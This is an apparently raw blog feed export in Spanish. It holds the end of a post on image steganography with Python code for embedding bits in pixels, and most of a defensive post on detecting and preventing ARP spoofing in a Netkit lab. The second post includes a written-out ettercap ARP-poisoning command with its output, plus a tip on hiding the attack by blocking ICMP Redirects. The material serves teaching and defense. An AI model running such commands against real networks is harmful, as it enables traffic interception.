&amp;lt; &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.step-&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#We store up to STEP data bit in every selected pixel.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.x = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.x + &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.x = &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;                &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.separation&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.last_position = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.current_position&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;La clave de la función anterior, la que realmente modifica el pixel es &lt;span style="font-style: italic;"&gt;setBit&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; &lt;b&gt;def&lt;/b&gt; setBit(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;, startPosition, value_string,  offset=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;        """ To put a bit in a position. """&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_y = &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;int&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(libmymath.myround((startPosition / &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.width),  libmymath.DOWN))&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_x = (startPosition % &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.width)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.original_value = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pixmap[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_x,  &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_y]&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_original_value_string = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.color2binary(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.original_value)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;if&lt;/b&gt; (offset == &lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;):&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_modified_value_string = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_original_value_string[:-(offset+&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)] + value_string&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;b&gt;else&lt;/b&gt;:&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_modified_value_string = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_original_value_string[:-(offset+&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;1&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)] + value_string + &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;/&lt;br /&gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_original_value_string[-offset:]&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.modified_value = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary2color(&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.binary_modified_value_string)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pixmap[&lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_x,  &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.pos_y] = &lt;/span&gt;&lt;span style="color: rgb(0, 110, 40);font-size:78%;" &gt;self&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;.modified_value&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Una vez codificados todos los bytes del mensaje a ocultar en los pixels de la imagen, hideFunction guarda la imagen modificada en el fichero de salida que fijamos al llamar al programa mediante la función hostFileImage.Save.&lt;br /&gt;&lt;br /&gt;Con esto queda explicado el esqueleto del proceso de ocultación de un mensaje en una imagen, el proceso de extracción para obtener de vuelta el mensaje es exactamente igual pero &lt;span style="font-style: italic;"&gt;a la inversa&lt;/span&gt;. Para más detalle lo mejor es una lectura detenida del código fuente de stegimage.py y de sus librerías adjuntas. Creo que el código está lo suficientemente conciso y comentado como para asegurar una fácil comprensión.&lt;br /&gt;&lt;br /&gt;Así damos fin a este artículo, en el que hemos repasado brevemente la historia y las bases del extensísimo campo de la esteganografía visual. Este campo está en constante movimiento, no sólo por su utilidad en el campo de la Inteligencia (con I mayúscula) sino también en el comercial, concretamente en el de la protección de derechos de autor ya que la esteganografía es un recurso excelente para &lt;span style="font-style: italic;"&gt;firmar&lt;/span&gt; determinadas fotografías de manera que se puede controlar su difusión comercial.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-3543469611073010981?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/XtTklg-6OUVfdQ650GKx3SIObhw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XtTklg-6OUVfdQ650GKx3SIObhw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/XtTklg-6OUVfdQ650GKx3SIObhw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XtTklg-6OUVfdQ650GKx3SIObhw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/wUzEjX5T_Wk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/3543469611073010981/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=3543469611073010981" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3543469611073010981?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3543469611073010981?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/wUzEjX5T_Wk/esteganografia-visual.html" title="Esteganografía visual" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/S0Jyu6bb9HI/AAAAAAAAALA/Vn213mEsaow/s72-c/Holbein-ambassadors.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2010/01/esteganografia-visual.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkEGQHg4eip7ImA9WxVUFkk.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-4724693317997416761</id><published>2009-03-21T14:00:00.003+01:00</published><updated>2009-03-21T16:17:01.632+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-21T16:17:01.632+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="protocolos" /><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>Evitando las escuchas en redes conmutadas</title><content type="html">En un &lt;a href="http://danteslab.blogspot.com/2008/12/escuchas-en-redes-conmutadas.html"&gt;artículo que publiqué en Diciembre&lt;/a&gt; hablé sobre distintas técnicas para realizar escuchas en redes conmutadas. Me quedó pendiente desarrollar qué opciones tenemos frente a este tipo de ataques.&lt;br /&gt;&lt;br /&gt;Las ataques de ARP Spoofing, también llamados &lt;span style="font-style: italic;"&gt;envenenamiento ARP&lt;/span&gt;, se basan en introducir información falsa en las tablas de ARP de uno (o ambos) de los de los extremos de una comunicación con el fin de que este utilice inadvertidamente al atacante como intermediario a la hora de trasnmitir y recibir información. Esto permite al atacante no sólo espiar la información intercambiada por el atacado, sino también modificarla a su antojo.&lt;br /&gt;&lt;br /&gt;Para combatir con eficacia este tipo de amenazas, un ingeniero de seguridad debe ser consciente de las técnicas de prevención, detección y reacción que puede emplear contra ellas.&lt;br /&gt;&lt;br /&gt;La principal técnica de prevención es un buen diseño de la red. Muchos ingenieros no se dan cuenta, pero poner PCs de usuario en redes de paso supone un verdadero riesgo ya que si alguno decidiese utilizar herramientas de ARP Spoofing podría interceptar no sólo el tráfico destinado y originado hacia/desde su segmento sino todo aquel que lo utilice como red de tránsito. Un diseño correcto puede limitar a un único segmento de red el daño que un atacante puede realizar mediante ARP Spoofing. La manera de evitar esto es mantener las redes intermedias de tránsito vacías de PCs de usuarios, concentrando a estos en segmentos localizados en las "hojas" de nuestra red.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/ScTZUUxknfI/AAAAAAAAAKw/Wo6LTS7A5W0/s1600-h/Arquitectura_correcta.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 414px; height: 269px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/ScTZUUxknfI/AAAAAAAAAKw/Wo6LTS7A5W0/s400/Arquitectura_correcta.png" alt="" id="BLOGGER_PHOTO_ID_5315612403401268722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A la izquierda de la figura anterior (no se por qué pero Blogger la saca muy borrosa, si quiere ver el original, mucho más definido, pulse sobre la imagen) se puede ver una red mal diseñada al permitir que la red de paso (B) contenga PCs de usuario. Cualquiera de estos PCs de usuario puede lanzar un ataque de ARP Spoofing para desviar el tráfico cursado entre el router interior y el exterior con el resultado de que podría espiar todo el tráfico saliente de la red A.&lt;br /&gt;A la derecha de la figura anterior se encuentra un diseño correcto. En él, la red B se ha vaciado de PCs de usuario. Los PCs que antes estaban en B han pasado a una red "hoja", C. Gracias a este diseño, un atacante de la red C sólo podría escuchar el tráfico de su red pero no de la B.&lt;br /&gt;&lt;br /&gt;Este buen diseño sobre el papel debe desplegarse en la práctica de manera correcta. Si a pesar de haber vaciado de PCs las redes de tránsito, un intruso puede pinchar un portátil a una de estas redes seremos igual de vulnerables que antes. Para evitarlo hay que tomar medidas preventivas en los niveles de la capa OSI 2 y 1 (enlace y físico):&lt;ul&gt;&lt;li&gt;En la capa 2 hay que segmentar los conmutadores que dan servicio a las distintas redes en &lt;a href="http://es.wikipedia.org/wiki/VLAN"&gt;VLAN&lt;/a&gt;s separadas asignando a cada VLAN única y exclusivamente los puertos dedicados a cada uno de los equipos residentes en ellas. Muchos administradores dejan puertos libres en cada VLAN por si un día se necesita pinchar urgentemente un equipo a ellas sin tener que esperar a que el administrador lo configure en el conmutador; esa comodidad tiene su contrapartida negativa y es que se deja abierta una puerta a nuestra red, puerta que puede aprovechar un atacante para pinchar su equipo a nuestra red si consigue acceso físico al conmutador (cosa no demasiado difícil en algunas organizaciones). Además, los puertos en uso de las redes de tránsito deben protegerse de alguna manera para evitar que máquinas no autorizadas se conecten a ellas. Lo ideal sería desplegar una solución del tipo &lt;a href="http://en.wikipedia.org/wiki/Network_Access_Control"&gt;NAC&lt;/a&gt; o &lt;a href="http://es.wikipedia.org/wiki/802.1x"&gt;801.1X&lt;/a&gt;, pero la mayor parte de las redes actuales carece por ahora de la infraestructura necesaria para algo tan complejo. Al menos, lo que sí se puede hacer es limitar el uso de esos puertos concretos del conmutador a las MACs concretas de los equipos legítimos. No es una solución definitiva porque es muy fácil falsificar la MAC de un equipo, pero al menos servirá para retrasar al atacante y, con suerte, generará algún log de error en el equipo que servirá para alertar a los administradores si estos cuentan con una infraestructura de correlación de logs adecuada (del tipo &lt;a href="http://www.cisco.com/en/US/products/ps6241/index.html"&gt;Cisco Mars&lt;/a&gt;, &lt;a href="http://www.s21sec.com/productos.aspx?sec=34&amp;amp;apr=161"&gt;Bitácora&lt;/a&gt;, &lt;a href="http://www.grupoica.com/Seguridad/LogICA/tabid/88/Default.aspx"&gt;logICA&lt;/a&gt;, etc). Por último, habrá que configurar los conmutadores correctamente para evitar que se utilicen contra ellos algunas de las &lt;a href="http://en.wikipedia.org/wiki/VLAN_hopping"&gt;&lt;span style="font-style: italic;"&gt;VLAN Hopping&lt;/span&gt;&lt;/a&gt; existentes para acceder a una VLAN desde un puerto perteneciente a otra diferente.&lt;/li&gt;&lt;li&gt;En la capa 1 las medidas de seguridad son evidentes y se corresponden, al fin y al cabo, con las medidas de seguridad habitualmente recomendadas para las instalaciones de comunicaciones y tratamiento de datos. Básicamente se trata de impedir que una persona no autorizada pueda interactuar físicamente con alguno de nuestros conmutadores, por ejemplo pinchando su portátil a una VLAN no autorizada, apagando el conmutador para forzar una redirección del tráfico, o accediendo al puerto de consola del conmutador para reconfigurarlo. Para ello, el equipamiento de comunicaciones debe situarse en armarios cerrados con llave y preferiblemente vigilados con un circuito cerrado de cámaras, en salas de acceso restringido y con un soporte eléctrico y climático controlado y a prueba de fallos.&lt;/li&gt;&lt;/ul&gt;También está la opción de desplegar infraestructuras especializadas en combatir este tipo de ataques. Tal es el caso de algunas &lt;a href="http://visid.espol.edu.ec/templates/a6greyflash/publicaciones/espolciencia2007/espolciencia2007_ortega_marcos_abad.pdf"&gt;propuestas&lt;/a&gt; de código abierto enfocadas a integrar en la red un servidor dedicado a responder a las peticiones ARP a partir de una tabla centralizada con todas las correspondencias IP-MAC de la red, de manera que los conmutadores bloquearían todas las respuestas ARP (incluidas las utilizadas por el atacante para envenenar las tablas de ARP) excepto los originadas desde el puerto de este servidor. El problema de esta opción es la complejidad al no existir herramientas ya desarrolladas que implementen estos mecanismos y depender de las soluciones artesanales que se programe cada uno.&lt;br /&gt;&lt;br /&gt;Para seguir el resto de las explicaciones le recomiendo que descargue y experimente con la &lt;a href="http://danteslab-files.googlecode.com/files/lab_sniffing_sw_v2.tar.gz"&gt;maqueta de Netkit&lt;/a&gt; que he utilizado para escribir este artículo, es similar a la que se usó de ejemplo en los artículos "Creación de laboratorios virtuales con Netkit" &lt;a href="http://danteslab.blogspot.com/2008/09/creacin-de-laboratorios-virtuales-con.html"&gt;I&lt;/a&gt; y &lt;a href="http://danteslab.blogspot.com/2008/10/creacin-de-laboratorios-virtuales-con.html"&gt;II&lt;/a&gt; (lea estos artículos si no sabe como utlizar una maqueta realizada con Netkit) pero le he añadido una red de gestión, de manera que tenga una puerta trasera para acceder a los equipos por SSH sin mezclarse con el tráfico de la red de pruebas.&lt;br /&gt;&lt;br /&gt;En el escenario de ejemplo, Alice quiere navegar por internet a través de un conmutador y un enrutador que le sirve de puerta de enlace; y PC-Sniffer quiere espiar el tráfico que Alice intercambia con Internet.&lt;br /&gt;&lt;br /&gt;Teniendo en cuenta lo anterior y a partir de ahora, el esquema de la red de pruebas que vamos a utilizar en este artículo es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/ScTBHU2lGdI/AAAAAAAAAKQ/-e-ug6k-J5w/s1600-h/Diagrama_del_laboratorio.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 400px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/ScTBHU2lGdI/AAAAAAAAAKQ/-e-ug6k-J5w/s400/Diagrama_del_laboratorio.png" alt="" id="BLOGGER_PHOTO_ID_5315585791804905938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En lo que se refiere a las técnicas de detección, la vigilancia de los paquetes intercambiados en la red y de las tablas de ARP de los equipos clave serán nuestras principales armas.&lt;br /&gt;&lt;br /&gt;Vigilando el tráfico de red se pueden detectar anomalías que nos alerten del trascurso de un ataque de ARP Spoofing. Examinando con Wireshark capturas del tráfico cursado a través del Switch de la maqueta podemos ver las siguientes anomalías:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;En la &lt;a href="http://danteslab-files.googlecode.com/files/captura_ettercap.pcap"&gt;captura del ataque con Ettercap&lt;/a&gt; podemos ver (paquetes 1 a 4) como el PC Sniffer (192.168.0.3)  pregunta a la red por la MAC del Router (192.168.0.1) y por la de Alice (192.168.0.2). En los paquetes 5 y 6 ya aparecen las primeras señales de alerta; aparentemente el Router y Alice se lanzan pings entre sí, pero si examinamos la MAC de origen de ambos ping podemos ver que ¡en realidad se trata la MAC del PC-Sniffer!. Inmediatamente después, y sin esperar respuesta a los ping, el PC Sniffer manda actualizaciones de ARP para "envenenar" las tablas de Alice y el Router (paquetes 7 y 9). El resultado es que las respuestas a los pings le llegan al PC-Sniffer, lo que le permite saber que su ataque ha tenido éxito. En los paquetes 15 y 16 se puede ver como las respuestas a los pings se reenvían a sus legítimos destinarios, tal y como se hará con el resto del tráfico una vez que el PC-Sniffer lo haya visualizado. A partir de ahí (paquetes 19 a 26) se puede ver como el PC-Sniffer insiste machaconamente en enviar paquetes de actualización ARP para mantener las tablas de Alice y del Router "correctamente envenenadas". Si todo lo anterior ya debería inquietarnos, es cuando Alice comienza a navegar cuando vemos que algo va definitivamente mal. Porque a partir del paquete 43 vemos que todo el tráfico parece duplicado. Esto se debe a que el tráfico tiene que atravesar el Switch una vez, de camino al PC-Sniffer, y otra, de camino a su destinatario, en vez de atravesar el Switch una única vez (que sería lo lógico). De hecho, al mismo Wireshark le parece rara la situación y a partir del paquete 48 comienza a colorear de negro los paquetes repetidos para alertar de que algo no va nada bien.&lt;/li&gt;&lt;li&gt;Por su parte, en la &lt;a href="http://danteslab-files.googlecode.com/files/captura_arpoison.pcap"&gt;captura del ataque realizado con Arppoison&lt;/a&gt; (incluido en la carpeta /root/scripts del PC-Sniffer de la maqueta), se pueden observar comportamientos anómalos. Arpoison es una herramienta programada con fines didácticos, así que su funcionamiento es algo más primitivo que el de Ettercap. Para empezar no hace un ping previo para comprobar que el envenenamiento se ha realizado con éxito y luego produce las mismas anomalías en los paquetes intercambiados e incluso alguna más. Y es que, cuando se usa Arpoison, se puede ver como en las capturas realizadas en el Switch aparece paquetes de &lt;a href="http://en.wikipedia.org/wiki/ICMP_Redirect_Message"&gt;ICMP Redirect&lt;/a&gt; (el primero aparece en el paquete 12), tan raros en las redes modernas que el Wireshark lo colorea de negro para señalarlo como anomalía. Esto se debe a que Arpoison utiliza &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt; para manejar paquetes y este a su vez &lt;a href="http://www.tcpdump.org/"&gt;Libpcap&lt;/a&gt; para realizar las escuchas. el problema es que Libpcap saca copias de los paquetes recibidos y se las entrega a las aplicaciones de usuario, pero no impide que los paquetes originales sigan siendo procesados por el kernel del PC. El kernel del PC-Sniffer no sabe nada de las aviesas intenciones de su dueño por lo que reacciona automáticamente cuando recibe un paquete que no está dirigido a su dirección IP enviando un paquete de ICMP Redirect alertando al remitente de que esos paquetes no le corresponden. Esta anomalía es tan evidente que cualquier IDS/IPS, por malo que fuese, lo habría detectado; para evitarla el dueño del PC-Sniffer podría haber activado su cortafuegos local para bloquear con él todos los paquetes ICMP salientes (si su cortafuegos le permite afinar bastaría con bloquear los paquetes ICMP Redirect salientes).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A nivel local, las inconsistencias en las tablas de ARP son síntomas muy serios de un posible ataque. Generalmente, es muy difícil que un PC y el enrutador que hace de puerta de enlace de la red tengan la misma MAC por lo que cuando esto ocurra deberían encenderse nuestras alarmas. Otra anomalía que debería ponernos en alerta es el cambio de la MAC conocida de equipos clave de la red, como por ejemplo los enrutadores que hacen de puerta de enlace.&lt;br /&gt;&lt;br /&gt;En estado normal, la tabla de ARP de Alice tiene el siguiente aspecto:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;PC-Alice:~# &lt;span style="font-weight: bold;"&gt;arp -i eth0 -a&lt;/span&gt;&lt;br /&gt;? (192.168.0.1) at EA:0E:85:D7:58:04 [ether] on eth0&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Si el atacante (PC-Sniffer) iniciase un ataque con Ettercap:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;PC-Sniffer:~# &lt;span style="font-weight: bold;"&gt;ettercap -M arp:remote -T /192.168.0.1/ /192.168.0.2/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp;amp; NaGA&lt;br /&gt;&lt;br /&gt;Listening on eth0... (Ethernet)&lt;br /&gt;&lt;br /&gt;eth0 -&gt;       CA:88:E3:51:83:57       192.168.0.3     255.255.255.0&lt;br /&gt;&lt;br /&gt;SSL dissection needs a valid 'redir_command_on' script in the etter.conf file&lt;br /&gt;Privileges dropped to UID 65534 GID 65534...&lt;br /&gt;&lt;br /&gt;28 plugins&lt;br /&gt;39 protocol dissectors&lt;br /&gt;53 ports monitored&lt;br /&gt;7587 mac vendor fingerprint&lt;br /&gt;1698 tcp OS fingerprint&lt;br /&gt;2183 known services&lt;br /&gt;&lt;br /&gt;Scanning for merged targets (2 hosts)...&lt;br /&gt;&lt;br /&gt;* |==================================================&gt;| 100.00 %&lt;br /&gt;&lt;br /&gt;2 hosts added to the hosts list...&lt;br /&gt;&lt;br /&gt;ARP poisoning victims:&lt;br /&gt;&lt;br /&gt;GROUP 1 : 192.168.0.1 EA:0E:85:D7:58:04&lt;br /&gt;&lt;br /&gt;GROUP 2 : 192.168.0.2 BA:4E:E3:B8:96:91&lt;br /&gt;Starting Unified sniffing...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Text only Interface activated...&lt;br /&gt;Hit 'h' for inline help&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sat Mar 14 10:59:44 2009&lt;br /&gt;TCP  192.168.10.1:49581 --&gt; 192.168.0.2:22 | AP&lt;br /&gt;&lt;br /&gt;...`..........I.S.4S..o^...D./~.....u.i....K...gaK5J&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;El resultado sobre la tabla de ARP de Alice sería el siguiente:&lt;br /&gt;&lt;br 